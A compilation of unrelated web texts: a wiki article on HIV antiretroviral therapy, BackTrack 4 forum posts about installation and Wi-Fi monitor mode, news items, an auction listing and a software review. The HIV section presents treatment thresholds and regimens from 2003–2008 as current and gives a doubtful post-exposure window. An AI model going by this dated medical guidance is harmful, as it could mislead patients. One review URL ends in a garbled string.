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The life cycle of HIV can be as short as about 1.5 days from viral entry into a cell, through replication, assembly, and release of additional viruses, to infection of other cells.[3] HIV lacks proofreading enzymes to correct errors made when it converts its RNA into DNA via reverse transcription. Its short life cycle and high error rate cause the virus to mutate very rapidly, resulting in a high genetic variability of HIV. Most of the mutations either are inferior to the parent virus (often lacking the ability to reproduce at all) or convey no advantage, but some of them have a natural selection superiority to their parent and can enable them to slip past defenses such as the human immune system and antiretroviral drugs. The more active copies of the virus, the greater the possibility that one resistant to antiretroviral drugs will be made, so antiretroviral combination therapy defends against resistance by suppressing HIV replication as much as possible.
Combinations of antiretrovirals create multiple obstacles to HIV replication to keep the number of offspring low and reduce the possibility of a superior mutation. If a mutation arises that conveys resistance to one of the drugs being taken, the other drugs continue to suppress reproduction of that mutation. With rare exceptions, no individual antiretroviral drug has been demonstrated to suppress an HIV infection for long; these agents must be taken in combinations in order to have a lasting effect. As a result, the standard of care is to use combinations of antiretroviral drugs. Combinations usually comprise two nucleoside-analogue RTIs and one non-nucleoside-analogue RTI or protease inhibitor.[4] This three drug combination is commonly known as a triple cocktail.[5]
[6]Combinations of antiretrovirals are subject to positive and negative synergies, which limits the number of useful combinations. For example, Didanosine and AZT inhibit each other, so taking them together is less effective than taking either one separately. Other issues further limit some people's treatment options from antiretroviral drug combinations, including their complicated dosing schedules and often severe side effects.
In recent years drug companies have worked together to combine these complex regimens into simpler formulas, termed fixed dose combinations. For instance, two pills containing two or three medications each can be taken twice daily. This greatly increases the ease with which they can be taken, which in turn increases adherence, and thus their effectiveness over the long-term. Lack of adherence is a primary cause of resistance development in medication-experienced patients. Patients able to adhere at this rate and higher can maintain one regimen for up to a decade without developing resistance. This greatly increases chances of long-term survival, as it leaves more drugs available to the patient for longer periods of time.
Current treatment guidelinesEdit
Antiretroviral drug treatment guidelines have changed many times. Early recommendations attempted a "hit hard, hit early" approach. A more conservative approach followed, with a starting point somewhere between 350 and 500 CD4+ T cells/mm³. The current guidelines use new criteria to consider starting HAART, as described below. However, there remain a range of views on this subject and the decision of whether to commence treatment ultimately rests with the patient and their doctor.
The current guidelines for antiretroviral therapy (ART) from the World Health Organization reflect the 2003 changes to the guidelines and recommend that in resource-limited settings (that is, developing nations), HIV-infected adults and adolescents should start ART when HIV infection has been confirmed and one of the following conditions is present [7]:
- Clinically advanced HIV disease;
- WHO Stage IV HIV disease, irrespective of the CD4 cell count;
- WHO Stage III disease with consideration of using CD4 cell counts less than 350/µl to assist decision making;
- WHO Stage I or II HIV disease with CD4 cell counts less than 200/µl.
The treatment guidelines for HIV-1 infected adults in the developed world (that is, those countries with access to all or most therapies and laboratory tests) have been set by the International AIDS Society-USA(IAS-USA) since 1996. The IAS-USA is a 501(c)(3) not-for-profit organization in the USA (and is not related to the worldwide International AIDS Society or IAS). The IAS-USA guidelines for antiretroviral therapy are developed by a volunteer panel of experts. Its last update was published in August 2008 in the Journal of the American Medical Association [8] . In this update, the panel recommends that therapy be initiated before the CD4+ cell count declines to below 350/uL and be individualized for the particular patient's situation and cormorbidities. For initial therapy, it recommends 2 NRTIs with either an NNRTI or a ritonavir-boosted PI. In antiretroviral therapy failure, the goal of subsequent treatment is suppression of HIV-1 RNA to below detection; the treatment should ideally have 3 new drugs to which the patient's virus is susceptible. Therapy in selected clinial situations is also described. The IAS-USA also sponsors the development of guidelines for the use of drug resistance testing in patients with HIV-1 infection [9]
The treatment guidelines specifically for the USA are set by the United States Department of Health and Human Services (DHHS). The current guidelines for adults and adolescents were stated on October 6, 2005 [10]:
- All patients with history of an AIDS-defining illness or severe symptoms of HIV infection regardless of CD4+ T cell count receive ART.
- Antiretroviral therapy is also recommended for asymptomatic patients with less than 200 CD4+ T cells/µl.
- Asymptomatic patients with CD4+ T cell counts of 201–350 cells/µl should be offered treatment.
- For asymptomatic patients with CD4+ T cell of greater than 350 cells/µl and plasma HIV RNA greater than 100,000 copies/ml, most experienced clinicians defer therapy but some clinicians may consider initiating treatment.
- Therapy should be deferred for patients with CD4+ T cell counts of greater than 350 cells/µl and plasma HIV RNA less than 100,000 copies/mL.
The preferred initial regimens are[11]:
- efavirenz + zidovudine + lamivudine
- efavirenz + tenofovir + emtricitabine
- lopinavir boosted with ritonavir + zidovudine + lamivudine
- lopinavir boosted with ritonavir + tenofovir + emtricitabine.
In countries with a high rate of baseline resistance, resistance testing is recommended prior to starting treatment; or, if the initiation of treatment is urgent, then a "best guess" treatment regimen should be started which is then modified on the basis of resistance testing. In the UK, there is 11.8% medium to high level resistance at baseline to the combination of efavirenz + zidovudine + lamivudine, and 6.4% medium to high level resistance to stavudine + lamivudine + nevirapine.[12]
Because HIV disease progression in children is more rapid than in adults, and laboratory parameters are less predictive of risk for disease progression, particularly for young infants, treatment recommendations from the DHHS have been more aggressive in children than in adults, the current guidelines were published November 3, 2005 [13].
In 2005, the Centers for Disease Control and Prevention in the United States recommended a 28-day HIV drug regimen for those who have been exposed to HIV (HIV Postexposure Prophylaxis [PEP])[14]. The WHO recommendations on treatment are that the minimum that should be used is dual NRTIs for 28 days, with triple therapy (dual NRTIs plus a boosted PI) being offered where there is a risk of resistance [15]. The effectiveness of this intervention has never been precisely ascertained, but it is believed to be most effective the sooner the drugs are administered, and useless if treatment is delayed too long; hence it is not usually recommended that it be started on the basis of an exposure more than 76 hours prior to starting therapy.
The use of antiretrovirals is also recommended for the prevention of mother-to-child transmission of HIV-1. The current WHO recommended regimen is as follows: where the pregnant woman does not yet need to start ART for therapeutic reasons, she should start Zidovudine (AZT) from 28 weeks or as soon as possible thereafter, be provided with single-dose Nevirapine (NVP) when entering labour, and be given AZT+3TC for one week following delivery. Meanwhile, whether the mother was on the above or standard ART, the child should be given single dose Nevirapine immediately after delivery and daily Zidovudine until one week old.[16] Complementary measures that may also be used include caesarian section and formula feeding; in some settings, the combination of providing all these measures has succeeded in reducing the risk of infection from 25% to about 1%.[17]
There are several concerns about antiretroviral regimens. The drugs can have serious side effects.[18] Regimens can be complicated, requiring patients to take several pills at various times during the day, although treatment regimens have been greatly simplified in recent years. If patients miss doses, drug resistance can develop.[1] Also, providing anti-retroviral treatment is costly and resource-intensive, and the majority of the world's infected individuals cannot access treatment services.
Research to improve current treatments includes decreasing side effects of current drugs, further simplifying drug regimens to improve adherence, and determining the best sequence of regimens to manage drug resistance.
Responses to treatment in older adultsEdit
As people age, their bodies aren't able to repair and rebuild damaged cells, organs or tissues as rapidly as those of younger people. Diseases like HIV that attack and destroy the body's defenses can exacerbate this slowing and increase the risk of developing additional medical problems like diabetes and high blood pressure, and more physical limitations than younger adults with HIV. In the early years of the HIV epidemic (before HAART), older adults' health deteriorated more rapidly than that of younger individuals - regardless of CD4 count. Several studies found that older adults had lower CD4 counts at diagnosis, faster progression to an AIDS diagnosis, more opportunistic infections, and a shorter survival rate than younger adults, regardless of when they were first diagnosed with HIV.
Recent studies have found that a person's age doesn't interfere with the ability of HAART to reduce viral load, but there may be differences between younger and older people in how well the immune system responds to treatment. A study published in AIDS (2000) by Roberto Manfredi and Francesco Chiodo examined the effect of HAART on older people (defined as 55 or older) compared to younger people (35 or younger). The study included 21 older people (8 women, 13 men) and 84 younger people (29 women, 55 men). The researchers found that both groups responded to HAART, especially in reducing viral load. However, CD4 counts did not increase as much in the older people relative to the younger ones. On average, CD4 counts increased from 212 to 289 for older adults after one year of HAART. During the same period, CD4 counts rose from 231 to 345 for younger people.
Some people may have a very low CD4 count even though they have an undetectable viral load. This may be related to decreased activity in the thymus (the gland where CD4 cells are made). A 2001 study in AIDS conducted by researchers in Los Angeles included 80 HIV-positive veterans (13 were over 55 and 67 were younger). Although both groups of veterans showed dramatic reductions in viral load once they were on treatment, the researchers found significant differences in CD4 levels at 3, 9, 15, and 18 months. After one year on HAART, average CD4 counts increased by 50 for the older men, compared to increases of 100 for the younger ones. This difference was not related to baseline HIV viral load, coinfection with hepatitis C, or the race/ethnicity of participants. These studies represent an important first step in understanding how their age may affect older adults' response to HIV treatment, but more studies are needed to understand the long-term effects of age on HAART in older adults.
If an HIV infection becomes resistant to standard HAART, there are limited options. One option is to take larger combinations of antiretroviral drugs, an approach known as mega-HAART or salvage therapy. Salvage therapy often increases the drugs' side-effects and treatment costs. Another is to take only one or two antiretroviral drugs, specifically ones that induce HIV mutations that diminish the virulence of the infection. The most common resistance mutation to lamivudine (3TC) in particular appears to do this. Thus, 3TC can be somewhat effective even alone and when the virus is resistant to it.
If an HIV infection becomes sufficiently resistant to antiretroviral-drugs, treatment becomes more complicated and prognosis may deteriorate. Treatment options continue to improve as additional new drugs enter clinical trials. However, the limited distribution of many such drugs denies their benefits to patients in the developing world.
Drug holidays (or "structured treatment interruptions"), are intentional discontinuations of antiretroviral drug treatment. Studies of such interruptions attempt to increase the sensitivity of HIV to antiretroviral drugs. The interruptions attempt to change the selection pressure from the drug resistance back toward resistance to the human immune system, thus breeding a more drug-susceptible virus. HIV spends some of its life-cycle in a state where its DNA is entirely integrated into human DNA. Under certain conditions, drug-resistant strains of the virus can remain dormant in this state, since CD4 T-cells also are dormant when not aroused by invading organisms. The resistant strain can then reemerge when antiretroviral drugs are re-introduced.
Intermittent therapy is an experimental approach designed to reduce exposure to antiretroviral drugs in an effort to mitigate side-effects. Intermittent therapy differs from treatment interruptions in that it involves using a much shorter cycle of switching on and off the antiviral drugs. Studies of such approaches include schedules of week-on, week-off (also known as "wowo") and five-days-on, two-days-off (also known as "foto"), which skips treatment on weekends. They also seek to determine what kinds of patients are best suited for this approach. However, initial data suggest that intermittent therapy is ineffective and results in drug resistance.
It is still unclear whether suppressing or even eliminating HIV will be adequate to restore normal immune function in the long term, since HIV can damage the ability of the thymus to produce normally diverse T-cells. Also, rapid suppression of HIV and partial restoration of the immune system sometimes produces a dangerous hypersensitivity reaction, immune reconstitution inflammatory syndrome. Research continues in these areas.
Adverse effectsEdit
Adverse effects of antiretroviral drugs vary by drug, by ethnicity, and by individual, and by interaction with other drugs, including alcohol. Hypersensitivity to some drugs may also occur in some individuals. The following list is not complete, but includes several of the common adverse effects experienced by patients taking some antiretroviral drugs: [19]
- Abdominal pain
- Alopecia
- Anemia
- Asthenia
- Diarrhea
- Dizziness (Vertigo)
- Fanconi syndrome
- Flatulence
- Headache
- Hepatitis
- Hyperbilirubinemia
- Hypercholesterolemia (Dyslipidemia, Hyperlipidemia, high cholesterol)
- Hyperpigmentation (of nails, palms, or soles)
- Ingrown nails
- Insomnia
- Jaundice
- Lipodystrophy
- Liver failure
- Malaise
- Mental confusion
- Mitochondrial toxicity
- Myalgia
- Myalgic Encephalomyelitis (chronic fatigue syndrome)
- Myopathy
- Nausea
- Neutropenia
- Nightmares
- Oral ulcers
- Pancreatitis
- Paresthesia (numbness)
- Peripheral neuropathy
- Rash
- Renal failure or insufficiency
- Somnolence (drowsiness)
- Stevens-Johnson syndrome
- Change in taste perception
- Vomiting
- Xeroderma (dry skin)
- Xerostomia (dry mouth)
See alsoEdit
- ↑ 1.0 1.1 Dybul M, Fauci AS, Bartlett JG, Kaplan JE, Pau AK; Panel on Clinical Practices for Treatment of HIV (September 2002). Guidelines for using antiretroviral agents among HIV-infected adults and adolescents. Ann. Intern. Med. 137 (5 Pt 2): 381–433.
- ↑ Panacos Pharmaceuticals. Clinical Trial: Phase 2 Safety and Efficacy Study of Bevirimat Functional Monotherapy in HIV Treatment-Experienced Patients for 2 Weeks*. ClinicalTrials.gov. URL accessed on 2007-08-28.
- ↑ Perelson AS, Neumann AU, Markowitz M, Leonard JM, Ho DD (1996). HIV-1 dynamics in vivo: virion clearance rate, infected cell life-span, and viral generation time. Science 271 (5255): 1582–6.
- ↑ United States Department of Health and Human Services (2004). A Guide to Primary Care for People With HIV/AIDS, 2004 Edition. (PDF) URL accessed on 2006-07-03.
- ↑ Attacking AIDS with a 'Cocktail' Therapy
- ↑ AIDS Education Online (2005). HIV Medication Education, copyright 2004. URL accessed on 2008.
- ↑ World Health Organization (2003). Scaling up retroviral therapy in resource limited settings. (PDF) URL accessed on 2006-01-17.
- ↑ Hammer, Eron, Reiss, et al. JAMA 2008; 300:555-570
- ↑ Hirsch MS, Gunthard HF, Schapiro, et al. Clin Infect Dis 2008; 47: 266-285
- ↑ Panel on Clinical Practices for Treatment of HIV Infection. Guidelines for the Use of Antiretroviral Agents in HIV-1-Infected Adults and Adolescents. (PDF) Department of Health and Human Services. URL accessed on 2006-01-17.
- ↑ Department of Health and Human Services (2006). HIV and Its Treatment: What You Should Know. (PDF) URL accessed on 2006-11-04.
- ↑ UK Group of Transmitted HIV Drug Resistance (2005). Time trends in primary resistance to HIV drugs in the United Kingdom: multicentre observational study. Brit Med J 331 (7529): 1368–71.
- ↑ Working Group on Antiretroviral Therapy and Medical Management of HIV-Infected Children. Guidelines for the Use of Antiretroviral Agents in Pediatric HIV Infection. (PDF) Department of Health and Human Services. URL accessed on 2006-01-17.
- ↑ Smith DK, Grohskopf LA, Black RJ, et al (January 2005). Antiretroviral postexposure prophylaxis after sexual, injection-drug use, or other nonoccupational exposure to HIV in the United States: recommendations from the U.S. Department of Health and Human Services. MMWR Recomm Rep 54 (RR-2): 1–20.
- ↑ http://www.who.int/entity/hiv/pub/guidelines/PEP/en/index.html
- ↑ http://www.who.int/entity/hiv/pub/guidelines/pmtctguidelines3.pdf
- ↑ Coovadia H (July 2004). Antiretroviral agents--how best to protect infants from HIV and save their mothers from AIDS. N. Engl. J. Med. 351 (3): 289–92.
- ↑ Saitoh A, Hull AD, Franklin P, Spector SA (August 2005). Myelomeningocele in an infant with intrauterine exposure to efavirenz. J Perinatol 25 (8): 555–6.
Further readingEdit
- Calamandrei, G., Venerosi, A., Branchi, I., Valanzano, A., & Alleva, E. (2000). Prenatal exposure to anti-HIV drugs. Long-term neurobehavioral effects of lamivudine (3TC) in CD-1 mice: Neurotoxicology and Teratology Vol 22(3) May-Jun 2000, 369-379.
- Calamandrei, G., Venerosi, A., Branchi, I., Valanzano, A., Puopolo, M., & Alleva, E. (1999). Neurobehavioral effects of prenatal lamivudine (3TC) exposure in preweaning mice: Neurotoxicology and Teratology Vol 21(4) Jul-Aug 1999, 365-373.
- Calamandrei, G., Venerosi, A., Valanzano, A., & Alleva, E. (2000). Effects of prenatal AZT+3TC treatment on open field behavior and responsiveness to scopolamine in adult mice: Pharmacology, Biochemistry and Behavior Vol 67(3) Nov 2000, 511-517.
- Melnick, S. M., Weedon, J., & Dow-Edwards, D. L. (2002). The effects of perinatal AZT exposure on the acoustic startle response in adult rats: Neurotoxicology and Teratology Vol 24(6) Nov-Dec 2002, 773-781
External linksEdit
- AIDSinfo - Comprehensive resource for HIV/AIDS treatment and clinical trial information from the U. S. Department of Health and Human Services
- Origins of antiretroviral combination therapy
- Viral Load research papers, including effectiveness of HAART on reducing viral load
|This page uses Creative Commons Licensed content from Wikipedia (view authors).


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FYI - if you get NO devices/paritions listed when running install.sh/ubiquity, like so::
- UNmount all devices and/or partitions&filesystems that you mounted separate from BT4 root filesystem/liveCD mounts (( specifically the one you want to install BT4 to! ))
in my case, I had mounted my old BT4beta filesystem /dev/sdb3 @ /mnt/sdb3, I couldn't get anything to show... unmounting everything and then getting back to the partition section of the ubiquity installer, I found myself here ::umount /dev/$partition
example:: umount /dev/sdb3 (( my SATAII device, 3rd partition ))
notice in the above picture, the "After :" part is a tad decieving, enough that it scared me.
I "thought" the "AFTER" part meant that using the Manual option, ubiquity would wipe all my paritions on /dev/sdb and utilize the WHOLE thing for BT4 install!@#!@
I couldn't have been further from the truth!!
the MANUAL option @ the "Prepare your disk space" (paritioning) phase of the ubiquity installer is one of the slickest GUI linux installers I've ever seen! (( damn near on par with qtparted/gparted ))
all in all, everything is up and running! thank you soo much BT/RE/OS teams! I love it all, too much... I am many days now without slackware installed on this box, and I am really liking BT4's take on ubuntu!
I'm thinking of trying out resier4, but beings that you gotta patch grub to use it for a bt4 /boot and / [root dir] I might wait on that part... but it appears bt4 pre final supports reiser4 mounts, maybe /home, or play with a small 5gig /mnt partition... anyways has anyone messed around with this resier4 lately? if so, whats ur oppinions?
whats cool is I got things right, everything is ripping' and I even got to play with a new tool to upload these screenshots to flickr from commandline (slick!) = uploadr
'see the fnords!'


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I'm using BT4 with a Realtek 8187 chipset USB wireless dongle.
Using Kismet in channel (H)opping mode, it sees plenty of APs on several channels.
I then find MY home router on the list and (L)ock Kismet onto that channel. Then I fire up Wireshark.
I see enough packets to convince me that Monitor mode is working successfully. Lots of BROADCAST packets with the SSID, some ARP traffic (Who Has x.x.x.x? Tell x.x.x.x), etc.
The problem is - I'm not seeing ANY HTTP traffic! I know it exists on the network. To be sure, I even turned on the Wifi mode of my Touch Pro "smart" phone, verified that I was indeed connected to MY router (and therefore on the correct channel), and surfed a bunch of websites. Not a single HTTP packet, DNS packet, anything showed up in Wireshark. Just lots of "Broadcast" packets.
BTW The phone was right next to the monitoring computer (less than 2 feet), and the router was over 20 feet away, so range / signal strength shouldn't have been an issue.
I closed Kismet and Wireshark kept capturing (wlan0) on the same channel. In console I typed in "iwconfig wlan0" and it showed that the interface was on the channel. I typed "iwconfig -i wlan0 channel 6 mode monitor" (or whatever exact command would accomplish that - I'm new and always look directly at the help for the verbiage but don't always remember it exactly) and got no error messages.
I must be missing a setting on the network card? The reason I'm thinking this is that this reminds me of Packet Radio from my Ham Radio days. (Packet radio = wireless modems back before the internet).
My packet radio wireless modem could be set to "monitor" mode with decreasing levels of verbosity. For example, on a scale of 1 to 6, it might be:
1. All traffic
3. Traffic broadcast by a BBS
6. Only traffic which is intended for you
each level showing less and less data. Make sense? It's as if my card is "set" to only receive certain types of data?
By the way - NO capture filters in Wireshark. No display filters either. I can post a quick packet dump file if necessary, the output to any commands, etc. I'm willing to do my part to find the answer.


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BRISTOL, PA -- AMI Entertainment's
planned reorganization into separate businesses, AMI (music and TV) and Megatouch (games), is proceeding smoothly, according to chief executive Michael Maas. The restructuring was announced last spring. | SEE VT, May 2012
In a letter to the company's operator customers, Maas explained that new AMI branding, separate websites, independent invoices and distinct parts facilities are among the changes that will become apparent this year.
"The two divisions will each operate their own business systems, in their own legal entities," he said. As a result, customer and open purchase orders will be separated, effective Feb. 1. Both units will continue to be owned by Harbour Group (St. Louis, MO), and Maas remains their chief executive.
The past year saw AMI's jukebox business pick up speed as the company delivered a record number of new NGX jukeboxes and introduced the NGX Face Place photo jukebox variant, Maas recalled. The complementary BarLink mobile application also won swift, large-scale acceptance by patrons.
"Of course, the biggest news came in March when AMI stepped in to help operators avert disaster after the sudden demise of Ecast," the chief executive continued. "I'm proud of how our team responded in that crisis, and look forward to completing the migration in early 2013."
More than a dozen hardware platforms designed to run on Ecast's network -- jukebox models from NSM, Rock-Ola, Rowe, View and Wurlitzer, along with Ecast's EQ -- were involved in the migration process. While most Ecast boxes were moved by a software solution, some equipment lines required hardware upgrades.
Last year also saw dramatic enhancement of the Megatouch Live game system, which had 25 software updates since its introduction in late 2011.
"We remain committed to helping the industry grow," Maas told the company's customers. "Our divisional focus has produced a product development pipeline which is stronger than ever; 2013 promises to be an exciting year."
AMI's videogame and jukebox assets were integrated in 2009 in order to leverage synergies during a dodgy economic period. The merger brought together common manufacturing and administrative functions that allowed the company to reduce costs. Manufacturing was moved to Reynosa, Mexico, but has since moved back to the U.S., where AMI is producing jukeboxes and videogame terminals in two facilities in Texas. The remaining artifact of the merger is the AMI network.
"The needs of videogames and digital music services are very different, even opposing," Maas explained. In the video sector, AMI creates original content, which allows it to deliver software to market as quickly as possible, and to release updates on its own schedules. For its music business, the company is involved in licensing and administering existing content, which needs to follow a more secure and cautious path to the marketplace. The separation, Maas emphasized, will help accelerate AMI's product development cycles. He predicted that AMI will be viewed as the product innovator in 2014.
AMI's involvement in entertainment technology dates back to 1909 with the foundation of the ancestral National Automatic Music Co. That firm, which manufactured and operated player pianos, spun off Automatic Musical Instrument Co. in 1925. Two years later, AMI unveiled the "automatic selective phonograph." This was the first true jukebox, allowing the patron to choose a song before actuating the player.


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Bid History for Lot Of 10: Miscellaneous Lawn Mowers
Auction Start Date: 05/01/12 9:00 AM ET
Auction End Date: 05/10/12 10:15 AM ET
Asset ID: 1023 Number of Bids: 20
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Lot Of 10: Miscellaneous Lawn Mowers
191 visitors
Sold as is. Check photos carefully. Unknown working condition. Various conditions when pulled from service. Inspection by appointment only, Mon - Friday 8am - 2pm.
|Seller Information
|Special Instructions
|Inspection: Most items offered for sale are used and may contain defects not immediately detectable. Bidders may inspect the property prior to bidding. Bidders must adhere to the inspection dates and times indicated in the item description. Please contact Debbie Walker, Property Control, (813) 744-8874 office – (813) 744-8873 fax or e-mail: firstname.lastname@example.com to schedule an inspection.
Payment must be made at 901 E Kennedy Blvd Tampa, FL 33602-3507. Florida sales tax will be added to the winning bid. Bidder must present original Florida tax exemption certificate to avoid paying sales tax. Florida state tax is 7% on the first $5,000.00 & 6% on the amount above $5,000.00. Payment in full is due no later than 5 business days from the time and date of the Buyer's Certificate. Acceptable forms of payment are: Certified Cashiers Check; Money Order. If payment is not received from the winning bidder within five business days, sale may default to the back-up bidder.
Certified Cashiers Checks or Money Orders shall be made payable to: School District of Hillsborough County.
Removal. All items must be removed within 10 business days from the time and date of issuance of the Buyer's Certificate. Purchases will be released only upon receipt of payment as specified. Successful bidders are responsible for loading and removal of any and all property awarded to them from the place where the property is located as indicated on the website and in the Buyer's Certificate. The Buyer will make all arrangements and perform all work necessary, including packing, loading and transportation of the property. Under no circumstances will School District of Hillsborough County assume responsibility for packing, loading or shipping. Property may be loaded and removed between the hours of 8:00a.m. and 2:00p.m., Monday through Friday, excluding holidays. For additional information, please contact Debbie Walker, Property Control, (813) 744-8874 office – (813) 744-8873 fax or e-mail: firstname.lastname@example.com to schedule an inspection. A daily storage fee of $10.00 will be charged after the 10 days.
|Questions and Answers
|There are currently no questions posted for this asset.
Help Desk Hours: Monday - Friday, 8 am - 7 pm ET.
Contact us with any questions, comments or concerns.
Copyright © 2017, GovDeals, Inc. All Rights Reserved. Site Map


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SALEM, OR -- In Oregon, cigarettes would become a prescription drug, as tightly regulated as anabolic steroids, if state lawmakers pass a bill proposed by Rep. Mitch Greenlick (D-Portland).
A doctor's prescription would be required to purchase cigarettes in the state. Anyone who either sold or smoked cigarettes without a prescription could spend a year in prison and pay a $6,250 fine. | SEE STORY
Such a law would likely affect the remaining cigarette vending machines in Oregon, where a state law makes it illegal to sell cigarettes and smokeless tobacco products through self-service mechanical devices except in facilities off limits to minors.


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Khloe Kardashian Odom finally speaks on her troubled marriage
Khloe Kardashian Odom has stayed pretty tight-lipped about her husband's alleged drug problem ever since initial reports surfaced.
Now, amidst rumors Lamar Odom is on a dangerous crack binge, his wife took to Twitter to speak out.
"Not all scars can be seen and not all love can be explained. The deepest love is also the hardest to express. Only those in it, understand…If I love u. Its a deep 4ever love. Ride til the end. Family/friend.Its simply called love. I take it seriously. Dont judge unless u r in it…We all have our own journeys in life. So even if u don't accept mine. Be kind….We all have a journey 2travel & I want to walk mine, my way….Two things define you: your patience when you have nothing and your attitude when you have everything…"
Wise words from a wife who clearly loves her husband. Let's pray these two can get through this tough time.
Photo Credit Getty Images


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Firefighters battling blaze at business on Savannah Highway
From our News Partners at WCBD-TV:
Three fire departments are responding to a fire at a commercial structure at or near 3915 Savannah Highway in Ravenel
The Charleston Fire Department is assisting. Units from the City of Charleston, Saint Andrews, and Saint Johns Fire Department are currently on scene working together as part of the automatic aide agreement.
Roberts and Sons Sign shop is the business listed at that address.
Both sides of Savannah Highway in that area are closed. Due to this structure fire at Roberts Sign Company on Savannah Highway, both Northbound and Southbound lanes of Savannah Hwy (17) are being alternated through the Southbound lanes due to fire apparatus and fire hoses on Hwy 17.
Motorists are encouraged to use Hwy 165 as an alternate route until additional traffic lanes can be opened.
At this point the nature or origin of the fire is not known.
News 2 has a crew at the scene and will have more details as they become available.
Photo Credit: Eric Limon/Shutterstock
The photo used is not an image of this specific incident.


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Tips for Increasing Your Child's Hand-Eye Coordination
Five Activities to Increase Hand-Eye Coordination
Start Slideshow
Five Activities to Increase Hand-Eye Coordination
Did you know you can actually help to improve your child's fine motor skills? Try engaging her in a few double-duty activities that are not only fun, but help develop essential skills for things such as writing, tying knots, and even sports. Check out our look at activities and toys you may want to add to your tot's playtime to strengthen her coordination.


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I'm beginning to regret that my kids are not computer geeks. It's a sad state of affairs when three college graduates rely on me to help them deal with the challenges of today's technologically modern society.
Fortunately for the concrete industry, there are hundreds of sharp young and old geeks developing innovative software technologies. Producers are traditionally focused on software developments in dispatching, batching, and billing. But one development in software development may help in an age-long problem—handling project drawings.
Managing project documents is a necessary evil. My office was always full of rolled up project drawings. And I'm sure this problem is even greater for pre-cast producers who must manage field erection. The challenge must be more complex today, because engineers and architects can bury producers and contractors in electronic files of drawings.
I first reviewed the Bluebeam software in 2008, the year it won the Experts' Choice Award in World of Concrete's Most Innovative Product Awards program. But I discovered that Revu 9, released at CONEXPO-CON/AGG this year, takes the quest for paperless construction projects to a whole new level. Spurred by the emphasis on sustainability that is causing everyone to think about construction differently, the provider unveiled an innovation that is leading us to a paperless jobsite.
Features galore
This version contains more than 30 enhanced features to streamline PDF markup, viewing, processing, collaboration, and sharing. Several technicians from Bluebeam Software, a Pasadena, Calif., software developer, shared their new PDF Revu 9 with me. Even an old- timer like me found this fully loaded version of its PDF platform technologies easy to learn. I'm sure your staff will find the technology a smart, simple solution to create, markup, edit, and manage PDF files.
"Revu 9 is truly fully loaded. We took everything our users love about Revu for project communication, incorporated their feedback and suggestions for features, and made it better," says Bluebeam Software CEO Richard Lee. "The result is more power, more flexibility, and enhanced usability to help our customers get their jobs done."
The Bluebeam array of products have gained acceptance from many of the nation's largest contractors who are using the system. One major user has even prepared some research on how the system has streamlined production and reduces costs. In mid-May, Chad Dorgan, vice president, quality and sustainability, for McCarthy Building Companies Inc., is hosting a webinar, "Managing Documents Through the Life of a Project Using Bluebeam PDF Revu." The discussion is based on a white paper that was released at CONEXPO.
Fortunately for producers, Bluebeam PDF Revu 9 is available in three editions: Revu Standard for general CAD and Office users; Revu CAD for AutoCAD, Revit, and SolidWorks users; and Revu eXtreme for PDF power users. I urge you to take a free test drive of Bluebeam PDF Revu 9 software by visiting www.bluebeam.com.dswedbyyvzwsuaycvvzybbuc
In the last few months, I've been gathering a boxful of new products, software, and such I've found at recent trade shows. Our manufacturers continue to invest in our industry by introducing innovations. I urge you to check my blog, or the LinkedIn Concrete Producer network for my What's New updates on these products.


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Ships Free to USA*!
Designer Line Sandwich Unit, Front Breather, 72" wide, three-section, (18) 1/6 size x 4" dp pans w/12" cutting board, (3) field rehingable doors, s/s top, front, sides & interior, 3-5/8" casters, rear-mounted refrigeration, 1/4 hp
Continental Refrigeration manufactures an extensive line of refrigerators, freezers, warming cabinets, pizza prep tables, bar coolers, plate chillers and more for the foodservice industry. All models are SNF, CE, and UL listed.
Are you familiar with this product? Be the first to review this item!


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The real reason the U.S. didn't rescue Bowe Bergdahl
The Pentagon rejected the idea of a rescue mission for Sgt. Bowe Bergdahl because he was being moved so often by his Taliban captors that U.S. special operators would have had to hit up to a dozen possible hideouts inside Pakistan at once in order to have a chance at rescuing him.
That's according to U.S. officials, who also say the Obama administration also did not want to risk the political fallout in Pakistan from another unilateral U.S. raid, like the Navy SEAL raid that killed al Qaeda leader Osama bin Laden in 2011.
Bergdahl had also twice tried to escape, so the militants guarding him had stepped up their numbers, further complicating any potential rescue attempt.
"A rescue mission would have been fraught politically as well as tactically," according to a senior defense official briefed on the Bergdahl case.
The lack of information about Bergdahl's whereabouts shows how few options the administration had, and why officials felt negotiations with the Taliban were their best option. His repeated attempts to escape also call into question those who call him a deserter who did not intend to return to the U.S. army's ranks.
The White House released five high-ranking Taliban members from Guantanamo Bay prison over the weekend in return for Bergdahl's freedom, sparking outrage from lawmakers who were kept in the dark until the trade was done. Law requires Congress to be given 30 days notice before a prisoner is released from Guantanamo, but White House officials say Bergdahl's deteriorating health necessitated the rapid action.
Senators shown the Taliban's proof of life video Wednesday that was pivotal in the White House's decision making process say he did not look well, but argue that should have been shown to them before the release was negotiated.
At the same time, many soldiers who served with Bergdahl have spoken out against him—blaming Bergdahl for wandering off his post, and for diverting needed intelligence and surveillance resources to hunt for him. Some soldiers even blame Bergdahl for the deaths of a half-dozen troops, although those claims have been disputed.
Bergdahl was turned over to U.S. special operations forces by Taliban fighters in eastern Afghanistan on Saturday, an event the fighters filmed and turned into a propaganda video released on Jihadi websites Wednesday.
Two more U.S. officials and a former Afghan official said Bergdahl escaped his Taliban captors twice during his five years of captivity, once in the fall of 2011 as then reported The Daily Beast, and a second time, believed to be sometime in 2012. They spoke on condition of anonymity because they were not authorized to speak publicly.
Read The Full Article On The Daily Beast
More articles from The Daily Beast:
- The House GOP's Big Immigration Fail
- Rinat Dray's Forced C-Section: How Doctors Forget Pregnant Women Have Rights, Too
- Really, Dr. Carson? Obamacare Is Worse Than 9/11?
© 2013 Newsweek/Daily Beast Company LLC


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(12/2/2013) Second Phase of Downtown Crossing Moves Forward; Will Create Thousands of Jobs and Significantly Add to New Haven�s Tax Base
(New Haven, CT) The New Haven Board of Alderman voted unanimously tonight to approve the Development and Land Disposition Agreement between the City and LiveWorkLearnPlay (LWLP), the team that was chosen in 2011 as the preferred developer for the former Coliseum site.
�The Board of Aldermen�s vote of approval represents the culmination of over two year�s worth of work, engaging city and state leaders and � more importantly � residents of New Haven,� stated Mayor John DeStefano, Jr. �This project will create significant tax revenues for the City together along with construction and permanent jobs and will have a long term effect of revitalizing an underutilized area within the central business district as well as helping to create the conditions necessary for future commercial development throughout the city.�
The nearly $400 million dollar (including $33 million in infrastructure improvements), transit oriented, mixed-use, mixed-income development will include 75,000 square feet of retail, 700 residential units, and a 200,000 square foot class A office building, community gathering place, underground parking, and a hotel.
